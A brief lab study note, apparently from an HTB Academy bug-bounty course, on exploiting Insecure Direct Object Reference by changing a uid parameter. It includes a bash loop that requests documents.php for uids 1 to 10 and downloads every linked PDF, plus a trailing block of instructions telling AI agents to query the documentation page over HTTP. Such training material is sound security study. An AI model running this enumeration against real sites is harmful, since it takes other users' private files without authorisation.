# Insecure Direct Object Reference (IDOR)

<pre data-overflow="wrap"><code>http://SERVER_IP:PORT/documents.php?uid=1
http://SERVER_IP:PORT/documents.php?uid=2

<strong># Ctrl+U to see the source page
</strong>&#x3C;li class='pure-tree_link'>&#x3C;a href='/documents/Invoice_3_06_2020.pdf' target='_blank'>Invoice&#x3C;/a>&#x3C;/li>
&#x3C;li class='pure-tree_link'>&#x3C;a href='/documents/Report_3_01_2020.pdf' target='_blank'>Report&#x3C;/a>&#x3C;/li>
</code></pre>

We can use bash to get the user from 1 to 10

{% code overflow="wrap" %}

```
#!/bin/bash

url="http://SERVER_IP:PORT"

for i in {1..10}; do
        for link in $(curl -s "$url/documents.php?uid=$i" | grep -oP "\/documents.*?.pdf"); do
                wget -q $url/$link
        done
done
```

{% endcode %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://kyou00.gitbook.io/xyz/academy-htb/view/bug-bounty-hunter/exploits/insecure-direct-object-reference-idor.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
